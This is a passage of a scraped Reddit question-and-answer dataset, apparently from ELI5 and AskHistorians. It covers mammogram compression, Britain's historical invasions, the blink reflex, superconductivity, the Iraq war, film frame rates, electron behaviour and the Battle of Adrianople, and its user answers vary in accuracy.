superimposed. Mammograms also include tissue from the armpit area where some lymph nodes are. By pulling that tissue away from the body and holding it in place, it's able to be imaged. Compression also helps with motion. It's very important to have no motion which can blur the radiographs. A slight movement could ruin the image, requiring a retake and thus basically doubling the dose.", "Medical Physicist here.  There are multiple critical reasons all based on physics. Some but not all of which were touched on by other comments.\n\nFirst, note that the two features of breast cancer visible on x-ray are very hard to see: microcalcifications (*tiny* white dots) and the tumor itself (slightly lighter than breast).  To enhance image quality enough to be accurate in our screening we do the following:\n\n* To enhance contrast use the lowest-possible energy of x-ray, about 1/3 the energy used elsewhere (~30 kVp).\n\n* To make a sharp images make the x-rays using a tightly focused electron beam.\n\nThese choices have consequences:\n\n* Low energy means they're easily absorbed, so we need the most uniform thickness of breast to avoid under- or over-exposing picture.  **So squish the breast flat** and make enough x-rays.\n\n* Low energy means low efficiency in x-ray production, which means lots of heat on the x-ray target.  Needing lots of x-rays means lots of heat.  A small focal spot means all that heat is in one small area so you might melt a hole in the target.  To avoid melting a hole you need to use a low intensity for a long time.  That means there's a risk of motion blur: they have to hold still within a few microns for over a second.  **So you have to hold the breast VERY still: squish it so it won't move**\n\nEveryone knows it's a crappy experience, but because of the above you can see that if we didn't do it then image quality would be significantly reduced.  That's more important for mammography than other medical imaging because it's used for screening, meaning most people getting one don't have cancer.  That means low image quality leads to false positive test results and then you have tons of women getting unnecessary biopsies, or even cancer treatment for a cancer they don't have.", "X ray tech here X-rays are shot  using an energy called KVP (peak kilo voltage)  different parts require different  anywhere from 50-140 KVP, in mammogram this  is lowered down  below 50 kvp  around 20-30 I would assume.  The higher the KVP the more penetration that it goes through a body part,  so if you're doing a chest x ray which has a lot of organs and tissue to pass you'd use something around 100-120kvp to penetrate those structures.  So to answer your question when you're squishing the breast you're actually making it more easy to penetrate through the breast and gives a more clear image. Sonograms literally just send out a sound, and when it reaches something the sound bounces back to the machine and you get an image, this is why you can't see bones on sonograms.", "kinda like pounding a chicken or butterflying, uniform thickness makes it cook evenly, or as the analogy translates, so the mass differential doesn't throw a false positive.", "Mammographer here. Imagine your fist is a breast. Cancer and dense tissue is hidden inside. When you flatten it out, you can now see calcifications and small masses that can indicate cancer. \nI do mammograms on men and all shapes and sizes. 90 percent of my patients say it actually doesn't hurt but it is more awkward.  Imo, it's not even a fraction as bad as getting your teeth cleaned. It also only takes about 7 minutes and can save your life. To the questions about side tissue,  if you have a skilled mammographer, every part of the breast that is able to grow cancer is imaged on the exam.", "At Engineering school I attended a seminar by a local Healthcare company on their new product: a track specifically designed for MRIs in order to obtain the same info as a traditional rad-squishy-boob mammogram (or similar info regarding the concerning tissue).\n\nThis track could be easily adjusted to fit a wide variety of bubbies without the need for prolonged flattening. There were just an array of wire coils that would fit snug against the flesh.\n\nIts seems to me that the traditional mammogram is a cheap and uncomfortable way to find out if one needs an MRI. Obviously availablity and cost are a barrier for just going in for the MRI without the flat rad blast, but I look forward to the day where the old fashioned way will be one less uncomfortable nuisance to all female kind.", "The x-rays needed to go through breast tissue are different (lower energy) than the x-rays needed to go through things like muscle and bone. You also get more detail with the x-rays used in breast imaging, which is important for finding things that don\u2019t belong in the breast, namely cancer.\n\nBreasts are mostly made of breast tissue and fat, with some people having more of one type than the other. Using compression to \u201csquish\u201d the breasts spreads out the breast tissue so that the radiologists can spot early (or not so early) signs of bad things that don\u2019t belong in the breasts. Compressing also helps reduce the thickness of the breast, which also helps reduce the amount of radiation the patient receives.\n\nSource: I squish breasts for a living.", "Mammograms don't hurt everyone.   They have never hurt me.  I had super tiny boobs, and then a breast augmentation.   They *are* looking for lumps, but also things you can't feel called calcifications which show up very nicely in a mammogram which can often signify malignancy.", "X rays (the radiation) dim as they pass through stuff. This is how x rays (the images) are made: more dense stuff dims the x rays more than less dense stuff, and this contrast is what produces the image. When you have something as weirdly shaped like a breast (a round cone), the pathways the x rays travel through will be more dimmed for the more breast tissue in the way. So they squish it into as flat and evenly dense surface as possible, so that you are tracking irregular densities in the breast (tumors) rather than just how the breast is awkwardly shaped.\n\nSource: medical physicist in training", "I\u2019m curious how mammograms work for small chested women? I\u2019m a AA cup and also never had a mammogram or even seen the machine. But there\u2019s not a whole lot there to grab, much less squish flat. How does that work?", "It all has to do with how X-rays move through tissue. It's important to remember Xray images aren't the same as regular photos (which are made from photons reflected back towards the camera). Instead, we look at how many high energy photons are blocked as they travel in a straight line from the X-ray source through tissue to a receptor plate.\n\nThe number of blocked photons is proportional to the total density of the tissue the beam passes through, so you can think of an X-ray image as a 2D projection of the densities in a 3D space along a single plane (this is simplified a bit as the beams actually spread out, more like a flashlight than a laser). Because we're only looking at one projection at a time, there's no way to tell whether a single bright point on our image is one really dense thing or two (or more) moderately dense things that are overlapping.\n\nBy squishing a breast flat we spread the tissue out and minimize the overlap of different densities. We also squish it at different angles to view it different ways. These tricks let us see things that are hidden in a single view and also let us triangulate their exact location.\n\nSource: Radiology residency", "Mammographys have the capability of showing 32k hues of grey to distinguish such a fine detailed image of the breast.", "There are several reasons for compression.  The compression spreads out the glandular (dense)  tissue of the breast.  so that it is no longer superimposed over itself.   When glandular tissue is superimposed it can resemble a mass  or hide a mass or microcalcifications (indications of possible cancer before there is a visible mass).  Masses maintain their shape when compressed, breast tissue changes shape. \n\nThe compression also reduces motion artifacts.  It keeps the breast from moving.  It takes very little motion to cause a blurry mammogram.  This is also why you hold your breath.   Radiologists need to see fine details and motion blurs those details.\n\nCompression also reduces the amount of radiation that is used during the mammogram.  The thicker the body part, the more radiation is used.", "mammary are glands. an x-ray would just show good mass as well as bad. \nunder compression, certain (good) tissue will spread like the skin and fat does.\nBad tissue is dense and not easily compressed or 'spread', and will only ever be attached (unmoveable)", "Add on question (hope that\u2019s okay here) how are mammograms done with women who are very flat chested. My ex was virtually as flat chested as I am so I wonder whether there are other means of conducting the test?", "Some breasts are more dense than others and for those a 3-D mammogram is recommended. More expensive, and squishing still required.", "It helps to get uniformity in terms of the contrast of the image taken with xray. Ultrasound is more like radar that bounces back to the probe head where xrays pass through the object.", "I'm a breast radiologist. The breast is compressed for a few reasons:\n\n1- The thinner the breast is, the lower the dose of radiation (which is really low to begin with for a mammo).\n\n2- Compression spreads out breast tissue, making the mammo easier for us to interpret and also making suspicious findings more conspicuous. For bone x rays, compression won't do anything since you can't really compress bone.\n\n3. Compression helps us have more uniform and consistent images from year to year, making comparison to prior exams easier and new findings more obvious.\n\nMen do get mammos but generally only if they feel a lump or have bloody nipple discharge. Male breast cancer is very rare, which makes it so screening for it is not cost effective in the general population.", "What If you have A cups???", "consistency year over year is why they do it.  the way they detect things is they look for changes from one year to the next.  the simplest way to get a consistent angle for comparison is to force / squish the issue", "Ok, I\u2019m going to try to give a real ELI5 answer.\n\nImagine having a bag full of marbles and you are looking for one with sparkles instead of the colored waves. When you look inside the bag, they\u2019re all jumbled together, so you can\u2019t really see the one you are looking for. If you take that bag and put it on a table, everything in the bag will spread out, allowing you to look easier. Still, some are clumped on top of each other. Now, if you were able to then use your hand to separate them out any marbles that are still on top of each other, it would be a lot easier. This helps explain the compression.\n\nDepending on how well lighted you room is will also allow you find it even easier. Too little light, and you can\u2019t make out the difference. Too much light, and it can be blinding. You want just the right light level to help you look for something. This is the ELI5 for the x-rays used for the test.", "Also don't forget that we're talking about the smallest of pin head you're looking for, nowhere near as easy to see as a broken arm or a ruptured aorta. Compression is necessary if you want as much detail", "I've been a registered mammographer for over 30 years. There are many reasons we compress the tissue.  1)The thinner the tissue,  the less radiation it takes to penetrate.  \n2) To hold the breast motionless in case the patient breathes or moves. Even the slightest motion or movement of the breast can blur structures we are trying to see.. in mammography we are looking for things often not bigger than grains of sand. \n3) most importantly,  simply the fewer layers of soft tissue we have to see through,  the more accurate your exam is. \nThe way I explain it to my patients is to imagine that you are kneading bread and you loose your ring. Are you going to stare at the dough or are you going to spread it out so that you can locate your ring. In mammography, we are spreading out the tissue to locate the cancer.", "After my first mammogram I was called back for a second. Then an ultrasound. \n\nI am still asking the same question: if mammograms are superior why was I sent for an ultrasound when a lump was found? Why aren\u2019t we just ultrasounding the boobs from the get-go, like we do the ovaries and pregnant bellies? It\u2019s obviously an inexpensive technology now...\n\n(I was okay, it was ultimately ruled \u201cprobably not cancerous\u201d per the little card I got in the mail)\n\nAnyway, back to searching these comments for the answer to OP\u2019s question!", "In Poland the mammogram can be skipped altogether for women with fibrotic breasts, instead the exam is performed by ultrasound. I can\u2019t say the experience is pleasant as it was quite thorough, but it wasn\u2019t horrible either.  Then I had one mammogram (in the US), and I was traumatized. I can tell you that I will happily head to Poland before I subject myself to that torture ever again.", "At the ripe age of 31, I had to have one done for a lump my husband found and it was excruciating but worth it since thank goodness it was benign. I kept thinking \u201cow ow how the fuck hasn\u2019t my tit just exploded yet?!\u201d", "Mammo tech here. The response I get most often from patients is \u201cthat\u2019s not as bad as I thought it would be.\u201d\n\nIf the days of film they had to compress you more. I think that\u2019s where the horror stories come from. Now we have digital that can be lightened and darkened on a monitor. The contrast between tissue, lumps, and calcifications is easily adjusted post processing. Therefore it doesn\u2019t have to be as uniform/compressed as much. \n\nThose calcifications I mentioned are why mammography is still the gold standard of breast imaging. They aren\u2019t seen on ultrasound but are early indicators of precancerous lesions or early cancers. We can\u2019t prevent breast cancer but we can catch it early with yearly mammograms starting at age 40, or earlier if you have a high risk of breast cancer. Also performing regular self breast exams plays an important role and having a yearly breast exam by a physician. Really though the goal is to catch cancer before it becomes a mass you can feel.\n\nIt is more of a pinch with the less well endowed. It lasts only seconds though. Usually those with larger breasts say it doesn\u2019t hurt at all. \n\nThe worst, and the ones I feel bad about, are ladies with implants. They\u2019re a whole new level.", "Breast cancer survivor here. For my first mammogram, I was tiny, maybe on the larger side of an A cup. The mammography tech pulled all the breast tissue she could get into the machine. Hurt so badly, I literally saw stars/broke-out in a sweat. The positive though is she found a mass deep within the breast, against my rib cage. Fast forward two years, post-surgery, -chemo, -radiation, -hormone therapy: I gained about 45 lbs and now have voluptuous if lop-sided and different colored boobs. The positive is that my mammograms now are cakewalks compared to when I was smaller breasted. And my husband loves these big girls!!", "We can't really ultrasound through fat, ultrasound attenuates through fatty tissue.  It's actually a significant limiting factor for most ultrasounds on a large part of the population.  \n\n\"Pancreas area\"...\"limited due to body habitus\"\n\nLiterally half of my worksheets.", "Hey, I can answer this.\n\nYes, more powerful xray machines can get good images of the whole chest cavity...but they are shooting at a higher energy level and giving the patient (and possibly nurse/doctor depending on procedure/conditions) a higher dose of radiation. \n\nMammography machines shoot at a much lower energy level than standard xray machines or CT. So it helps to get the breath to a uniform easily readable thickness.\n\nFurther, you want the lower dose since you want people to be getting these scans often compared to CT/xray. \n\nLastly, the more uniform, the easier it is to read.\n\nSource: I install/service/and train rad techs on xray/ct/ortho/MRI/and mammography machines.", "As an M A. (Medical assistant) in training from what I understand it make a more clear picture and can help distinguish between a dense lump of fat and a tumor. Plus I believe it exposes the body as a whole to less radiation.", "20M here, yes men do get mammograms (I have to get one every year because of a mass in my breast. ) and funny enough some insurances don\u2019t cover mammograms for men. And some of the free mammogram programs during October don\u2019t extend to men. Just food for thought.", "Two very important reasons. To try to get consistent density and reduce magnification. The Xray \u201cbeam\u201d is divergent. So the further away an object is from the \u201cfilm\u201d the more magnified it gets. You lose detail and it makes for a difficult dictation. \n\nThe best imaging for breast are MRI scans. A lot longer but the image is tough to beat. \n\nThere is relative new CT technology. Dual energy CT scanners. Basically two sources of energy is used concurrently. Then a super computer grabs the data and creates an image. From there you can subtract adipose, calcium and or foreign objects; basically isolating any tissue in your selected density(HU unit).That\u2019s the future of imaging. It\u2019s expensive as shit for your community hospital but I believe it will be the norm for any new CT suite in the next 5-10 years. \n\n\nSource. Im a janitor at a local hospital.", "Please note: squishing the breast reduces the radiation dose and is very important in getting a clear picture as well as reducing superimposition of breast tissues which can mimic a mass. 3D tomography mammo  requires less squish than 2D conventional specifically because it is great at removing superimposition  issues.", "A UK company, Micrima, is working to bring a device to market that doesn't require squishing. You lay on a table and the breast's placed in a cup, it uses harmless radio waves and no squishing so that mammograms can be started from a much younger age without causing risk.", "Okay here's my attempt. Picture a clear water balloon filled with clear vasoline gell. That's a breast. Now imagine inside this water balloon there's a clear glass marble (Cancer). It is the exact same clarity as the gel so it's invisible. You can feel it in there with your hands but you have no concise way to tell how big it is and what it's exact coordinates are in the balloon.\n\nOkay now x-rays are literally just shadows with complicated physics. If you shine a torch through your balloon and look at the shadow you can now slightly see the darker shadow of the glass ball inside. BUT you want a clearer shadow, and this one isn't clear enough due to how thick the balloon is.\n\nSo you get two pieces of glass and squish the balloon right down to the point that it's almost rectangular shaped and instead of shining the torch through 10cm of round gelatine balloon, you now only have to shine it through 4cm of flat uniform gel. At this point you should be able to see the darker shadow of that glass marble much clearer. \n\nNow this only explains why we do it for what we would call uniform image quality. Squishing the breast is also done for many other reasons but this is the one I _URL_0_ ELI5.", "How does it work for women with implants?", "How does it work if you have breast implants?", "I am a man. I got breast cancer. I had to do a mammogram for diagnosis and now I have to do it for the checkup (and ultrasound).\n\nIt's somewhat tricky because the machine was not designed for us and somewhat uncomfortable, but compared with the many other hard and uncomfortable experiences one experiences when one gets diagnosed with cancer, it is a very small problem.", "X-rays have high penetrating power so in normal x-ray procedures we can see only high density objects such as bones and other calcium deposits clearly.\n\nBreasts are made of soft tissues which have low density. So in mammography procedures we use low energy x-rays so that soft tissues can be seen properly. Breasts also have a lot of overlapping tissue so they have to be squished to be imaged properly to see all the sturctures clearly and separately.", "I help design medical devices. One of the earliest devices I worked on was for treating prostrate glands. It was a catheter, placed up the urethra, deployed two needles in opposite directions into the bilateral prostrate, and applied up to 20 watts of RF power on each needle to cook it. Patient would be awake for the procedure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["chose.to"], [], [], [], [], []]}
{"q_id": "a6mrjz", "title": "How accurate is the assertion that Great Britain has invaded all but 22 countries in the world?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a6mrjz/how_accurate_is_the_assertion_that_great_britain/", "answers": {"a_id": ["ebwho6b"], "score": [358], "text": ["The assertion was made by Stuart Laycock in his pop history book 'alll the countries we've ever invaded' which traces where exactly british army units have fought and found 22 of the modern 197 countries (it was written before the independence of south sudan) where he could find no trace of british troops ever having fought (discounting aerial combat).\n\nThe problems with taking that figure out of context is, firstly he's talking about geographical areas not political units. the UK has never invaded the Republic of India or the Republic of guatemala but they have fought in those areas when they were controlled by previous governments. If you're talking about the modern political units, the number is much much lower.\n\nSecondly, he includes incidents such as the d-day invasion of France where the Uk was invading a country to free it or assist it against foreign troops. It's about where british troops fought not why they were there. (Albania for instance is a country where the UK has fought, in both world wars, but has never tried to annex)\n\nThirdly, he includes purely naval encounters which saw no land troops deployed (such as algeria, which the british navy spent a lot of time bombarding to convince the barbary corsairs to release british slaves but where land troops weren't deployed until ww2), even when these encounters were done by privateers rather than official naval units which some people think is a stretch (Ecuador for instance was attacked repeatedly by british pirates carrying a  letter of marque allowing them to attack spanish targets but not by the actual navy).\n\nFourthly, he fully admits in that book that he doesn't know for sure on a lot of stuff. So for every entry of the 22 where he couldn't find evidence of british troops operating, he goes well maybe they did (so for luxembourg, it was american troops who invaded them in ww2 but possibly some british troops accidentally crossed the border and at least one airman was shot and killed over it and for belarus, english knights invaded lithuania in the 14th century and maybe they fought in modern belarus).\n\nSo if you're talking about which of the modern day countries we know for sure had british troops or naval units operating in their claimed land at some point, then yes it's accurate. If you're taking it out of that context and trying to make a larger statement about it then no, not really.\n\nLots of the incidents Laycock talks about are not really invasions. The Burkina Faso entry is about an army sent to assist a native kingdom against the french which turned around before fighting a battle once a peace treaty was signed with the french. The Brazil entry is about a naval unit sent to blockade a brazilian port as part of a diplomatic crisis that was resolved bloodlessly. For Hungary it's British units fighting in the Austrian Army that liberated it from Turkish control, etc.\n\nIt's accurate in the question he is asking, but the question he is asking might be not what you think it is if you see that answer out of context."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a82xcc", "title": "how do my eyes automatically close when something like a spec of dirt flies into them, even though i haven\u2019t seen or processed it myself", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a82xcc/eli5_how_do_my_eyes_automatically_close_when/", "answers": {"a_id": ["ec7kuc8", "ec7kv7w", "ec7ld61", "ec7lmfg"], "score": [61, 8, 3, 2], "text": ["Reflex arc. It\u2019s not processed by your brain. A sensory receptor activates a signal that is sent to your spinal cord where there is an activation site for a motor neuron to be sent back to the origin of the stimuli. Here, the motor neuron activates your effector (which in this case, are your eye muscles) and you blink. None of it is consciously processed ", "Same reason you flinch when you touch something hot. Basically the stimulus is interpreted by your nervous system before it gets to your brain. The nervous system says \u201cUh oh, last time this happens my eye was hurt, better react as quickly as possible,\u201d and the signal is sent back to you eye to shut before you have time to think about closing your eye.", "How can I grow back that second set of clear eyelids that some animals have? ", "The cornea in your eye is innervated by your 5th cranial nerve which senses touch on the surface of your eye. This signal goes back to the brain stem where, instead of sending it up to the cerebrum where you would become conscious of it, the 5th nerve sends a signal to your 7th cranial nerve which controls movement of the face muscles and causes your eyes to close (both eyes btw). Neat!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9rnwr7", "title": "why are levels of buildings called stories?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9rnwr7/eli5why_are_levels_of_buildings_called_stories/", "answers": {"a_id": ["e8icl78"], "score": [23], "text": ["I\u2019ve posted a dumb joke at first, so to try to make up for it, I\u2019ve looked for an answer, but there are multiple theories and no definite result.\n\n1: Back in the era of kings and queens, the floors of a castle were used for storage during sieges. Each floor would be used to store various different items, including weapons and food. The floors were referred to as 'storeys'. The term 'storey' evolved over time, and became used as a unit to measure the height of a building in relation to the number of floors is has. \n\n2: Buildings were sometimes called stories, because of narratives painted on medieval buildings.\n\n3: It doesn't come from Latin historia, like the other meaning of story does, but the Old French word estoree, which eventually comes from the Latin word instaurare, which means \"to build\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zvv6d", "title": "super conductivity, what we use it for, and why room temperature super conductivity is so important.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zvv6d/eli5_super_conductivity_what_we_use_it_for_and/", "answers": {"a_id": ["c685syo", "c688crh", "c688zcy", "c689vjm"], "score": [5, 2, 3, 2], "text": ["Whenever electricty is transported over a wire, a bit of energy is lost. Around 10% of all electric energy used globally is this kind of loss. \n\nA super conductor is basically a wire that loses no energy whatsoever. Would allow us to transport energy anywhere for free. We can do this now, but they have to be extremely cold, which is expensive and complicated. Room temperature means cheaper and simpler.\n\nThere's lots of other cool physics effects from this, but not really ELI5 material.", "With room temperature super conductivity you'd be able to power grids in new York with wind farms in Texas, or transport solar energy collected from death valley to power a grid anywhere. If this shakes out, and we find a way to cheaply build a room temperature super conductor it would be a gigantic discovery. ", "In addition to efficient power grids, one of the side effects of electricity flow is magnetism. We could create powerful magnets more cheaply, and smaller. This means MRIs that are smaller, cheap mass transport in the form of Maglev trains, and even railguns! ", "[Here's something cool](_URL_0_) you can do with it. Click for a nifty TED Talk demonstrating superconducting levitation. Imagine that at large scale without any need for cooling."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.ted.com/talks/boaz_almog_levitates_a_superconductor.html"]]}
{"q_id": "288gpg", "title": "was the iraq war a loss or a win?", "selftext": "Was the war in Iraq a complete loss like Vietnam, or was it successful.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/288gpg/eli5was_the_iraq_war_a_loss_or_a_win/", "answers": {"a_id": ["ci8fhfi", "ci8fkro", "ci8fpg4", "ci8fwab", "ci8h1wa", "ci8i5rm", "ci8johy", "ci8ku2g", "ci8l60v", "ci8lbmu", "ci8oss8", "ci8p4kb"], "score": [4, 61, 5, 11, 3, 22, 10, 8, 5, 3, 2, 2], "text": ["Counting length of regular military deployment: Iraq was a Vietnam level failure.", "Obviously  the recent events in Iraq help show that it was a complete failure, and waste of a couple trillion dollars and thousands of lives.  Not only did we not rid the world of a leader with WMD (the initial reason for the invasion) because there was none, but we couldn't even help the country become a functioning one.  We'll probably be back over there soon getting shot at by our own weapons.", "First off, as others have mentioned, the justification for the invasion was an outright fabrication.  Then, you remove the only guy who can keep the Shia and the Sunni and the Kurds living together, and you end up with a clusterfuck.\n\nWhat do you think will happen in Afghanistan when the US is gone?", "It was a mistake to go in the first place. If they won't fight for their own country why should we? 14 billion spent training their \"army\" only to have them lay down the weapons and run. ", "It was a win.  The war objectives were to remove the Saddam Hussein regime from power, kill or capture Hussein, his sons, and the key leadership of the Ba'ath party and the Iraqi military, and secure any existing weapons of mass destruction and end the weapons program that produced them.  All of those goals were met.\n\nIn the short term the US wanted to see the Iraq government transition to a multiparty democracy with participation from most of the country's ethnic and religious divisions.  That was successful, and the Iraqis conducted several national, provincial and local elections with extremely high turnout.  The Iraqis drafted and ratified a Constitution that guaranteed basic freedoms, created a separation of powers, defined the role of the provinces to the central government, and placed the military under civilian control.\n\nStrategically the goal was to implant a large US military presence in the heart of the \"Arab Islamic culture\" to deter acts of aggression by Iran, to serve as a base of operations for military actions against terror networks, and to reduce inter-state conflict in the area.  All of those objectives were achieved, but then abandoned with the change to the Obama administration.\n\nWhile it is total fiction, the following scene does a fantastic job of summarizing the point of the Iraq war:\n\n_URL_0_", "Both. It was a success for the \u201cdefense\u201d contractors who sucked billions of dollars in handouts from the government teat. It was a loss for the energy companies that thought they\u2019d make billions of dollars from Iraq\u2019s oil fields.", "If you are Haliburton then it was a win. If you are the American taxpayer or the family of a dead soldier then it is a loss. ", "- The military objectives were accomplished.  This happened all the way back at the beginning, with the infamous Bush on the Aircraft carrier mission accomplished speech.  Even if any threat did exist, from weapons of mass destruction or otherwise, it would have been rendered impotent at that point.\n\n- The political objectives were categorical failures.  No evidence of WMD's was ever found to exist (invalidating the pretense for the war), hearts and minds were not won, the security situation clearly never improved to the point where Iraq could be maintained as a self-sustaining state.  \n\n- The economic goals were successful.  The petrodollar remains an economic institution, and trillions of taxpayer dollars were successfully redistributed into the hands of contractors.    ", "OP, I'm just going to throw this out here, but you're going to find a lot of bias about the answers listed here. I'd suggest doing your own research and coming to your own conclusions about this subject. It's much more complex than really possible to be listed here. (What subjects aren't, amirite?) As much as reddit likes to think it's a non-biased place, it really isn't. \n\nI'm not going to say too much about the Iraq War, mainly because I wasn't involved with it nor do I have an opinion on it.", "It was easily a win but because of our military might.  We took over the country and main lifelines within days.  No other country in history has been able to do the same at anytime in recorded history.  The hard part about it is that we live in a different day and age and occupying the country and forcing the locals to new ways doesn't fly like it use to.  If we took an occupying stance and colonized the country after we took control it would be a different story today.  But we're not in that business anymore.  \nMostly it was a waste if time.  ", "You're not going to get any good answers here. The answers at the top are full of misinformation.\n\nAnyway, the answer to your question is \"we don't know yet.\" If Iraq ends up being a stable democracy (which we won't know for a while, probably a decade or longer) and that spreads to the Middle East as a whole, then it will have been an absolute, undeniable success. We've even seen some evidence of this during the \"Arab Spring,\" which, like it or not, was unlikely to happen at the scale it did if it hadn't been for the Iraq War.\n\nOn the other hand, if Iraq crumbles into itself and becomes a cesspool haven for terrorists, tinpot warlords, and international drug cartels, then it will have been a failure. We won't know that, either; even if it does temporarily (more so than now, of course) it can change. \n\nRight now, the future is in flux. It could really go either way. Politically, Iraq has moved forward and progressed. Militarily, the US has done pretty much all it can. Economically, it will flourish once institutions are stabilized. ", "loss. didnt need the war. should not have happened. the public was lied too by the morons of the GOP... watch as the ISIS takes control of iraq and syria... something that would not have happened without the moron known as gwbush."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=UnFlsjhpGfw"], [], [], [], [], [], [], []]}
{"q_id": "17ruoo", "title": "why is it easy to tell the difference between film and television, even on the same screen?", "selftext": "Every time I'm watching TV, I find that it's relatively easy to tell whether the programme you are watching is from a film or television series, just from watching a few seconds. It's just as easy to spot whether a film is a film made for television or a film designed for cinema.\n\nOne TV programme I always thought looked cinematic was Brian Cox's \"Wonders\" series. Today I found out it's filmed with a camera usually used for film. So what's the difference between the cameras, and why aren't TV cameras used for film and vice versa?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17ruoo/eli5_why_is_it_easy_to_tell_the_difference/", "answers": {"a_id": ["c889el0"], "score": [21], "text": ["Frames Per second. Movies are usually filmed at 24 FPS, which is relatively slow. Soap Operas, which are famous for being very different \"looking\" than most other visual media, are filmed at 48 FPS. The most recent Hobbit adaptation was filmed in 48 FPS, which led to some viewers complaining it looked like a cheap TV show or soap opera."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4di33k", "title": "my chemistry teacher just explained that an electron of an atom will disappear to move through the nucleus and reappear on the other side because of its speed. what happens to the electron while it \"isn't there\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4di33k/eli5_my_chemistry_teacher_just_explained_that_an/", "answers": {"a_id": ["d1r40l2", "d1r6zpu", "d1r92g0", "d1raep6", "d1ro6m0"], "score": [47, 3, 14, 27, 6], "text": ["Thinking of an electron as a particle isn't useful in this circumstance.  It's not like a little tennis ball that is either in my hand or on the ground.  It's more of like a cloud of probabilities.  At any point in time, the electron may exist at any point in that cloud.  It's completely random.  ", "On a quantum mechanical level, things being \"there\" (and not anywhere else) kinda stops making sense. You can only say that it has a probability of existing within a certain region. The \"balls orbiting a nucleus\" picture of an atom isn't really what an atom looks like, it would be better to think of a nucleus surrounded by a \"cloud\" of electrons, where the electron could be anywhere within that cloud. With this model, the electron doesn't travel through the nucleus to get to the other side, it was kind of always there.", "Electrons aren't really particles, although it's sometimes convenient to think of them that way.  They have characteristics of both particles and waves.  \n\nIn the case you describe, the wave-state of the electron has essentially no probability of existing within the nucleus, but a non-zero probability on the opposite side of it.  The electron essentially jumps from one side to the other *without existing in between at all.*  The effect is known as quantum tunneling, and is just one of the weird things stuff does at the quantum level. It's hard to understand because there isn't really a physical analogy on scales we can directly observe.", "This is one of the few ELI5s that is best answered by \"take this icecream and two hundred dollars.  Go outside, play,  and never ask it again.\"\n\nIf the answer doesn't confuse and terrify you then you've misunderstood.", "One of the big things that you learn quickly by advancing past general chemistry is that everything that you were told in general chemistry was a little white lie, and you were only told that thing because it would help you understand the material at the time even if it doesn't really hold up later. Acids donate protons? Usually, but not always. An element in its pure form always has the same properties? Meh, not really at all. An electron is a particle? Well, sort of.\n\nElectrons, like most (all? I'm a chemist, not a physicist) fundamental particles exhibit what's called the wave-particle duality. In the simplest way of saying it, these entities have properties that we would normally associate with particles, and also some properties normally associated with waves. So they're both, but at the same time they're neither. This property was first discovered for light (photons), and was later found to be true of other fundamental particles as well.\n\nSo if something is a particle, we can say it also has a position. That is, it's location can be accurately described by a single set of three-dimensional coordinates. I may be wrong on this part, but according to the Heisenberg Uncertainty Principle, we can never know a particle's location and energy precisely at the same time. But, that means that we in fact CAN know its position! And here is where things get quantum-y. The electron ONLY has a definite position BECAUSE we have measured it (thanks to Dr. Schroedinger's superposition theory, which I won't go into much more detail on). Before and after the measurement, the electron is better described as a wave.\n\nIt's tough to give a wave a definite position in three dimensions. Think of the sound wave made when you clap your hands. Where is it, precisely? Can you indicate a single point in space and say with certainty that the wave is at that point? It just doesn't make any intuitive sense. Electrons exist around the nucleus in a fairly similar way, like they're everywhere at once, because \"quantum\" is a physicist's way of saying \"weird\". Now, because we can measure their location at any time, this \"everywhereness\" can't be true at the moment of measurement. So, we visualize electrons around the nucleus as a cloud, where the thickness of the cloud is proportional to the probability of finding the electron at that point if its position were to be measured. If you've covered the shapes of different orbitals (s,p,d,f, etc.), the bubbles drawn around the nucleus are simplified versions of these so-called electron probability clouds. At any time, a measurement could be taken, and the electron would (probably) be somewhere inside that cloud.\n\nSo in a convoluted way of saying it, the electron never \"isn't there\". It's just everywhere. and nowhere, at the same time! The apparent \"though the nucleus\" move is just a measurement that happens to find it in one position followed by a measurement that happens to find it somewhere else.\n\nDisclaimer: I'm not an expert on any of this, and so I may have gotten minor bits wrong. I'm sure reddit will be gentle and gracious if it corrects me. But seriously, please correct me if I'm wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1s62cd", "title": "Why is the battle of Adrianople considered a turning point for the Roman Empire?", "selftext": "One of my history professors mentioned that this battle is usually considered a turning point for the Western Roman Empire and is the start of the end. I'm curious as to why. The battle took place in the Eastern Half (very close to the capital) and the Eastern army, not the Western army, was defeated in the field. The Western army never arrived on time (due to the cockiness and/or incorrect estimates of enemy troops) and never took part in the battle. How can this event in the East be considered a turning point for the West?\n\nIf any of my info is wrong, please let me know. This is a subject area that really interests me and I'm curious as to what you all might know.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1s62cd/why_is_the_battle_of_adrianople_considered_a/", "answers": {"a_id": ["cdu9gje", "cdu9nuh"], "score": [29, 3], "text": ["For military reasons, the battle of Adrianople was bad enough.  That was the bulk of the eastern Army, and the officers of that Army were not just military men, but senior administrators and officials.  So the loss of that army in battle would be the equivalent of if you had wiped out a massive percentage of the bureaucracy of a government.  \n\nNow, Rome had been defeated by barbarian in battle before.  But in those previous cases, the barbarians were primarily on raiding missions, to sack undefended Roman cities and carry off loot back to their homeland.  So if those barbarians defeated an imperial army, they 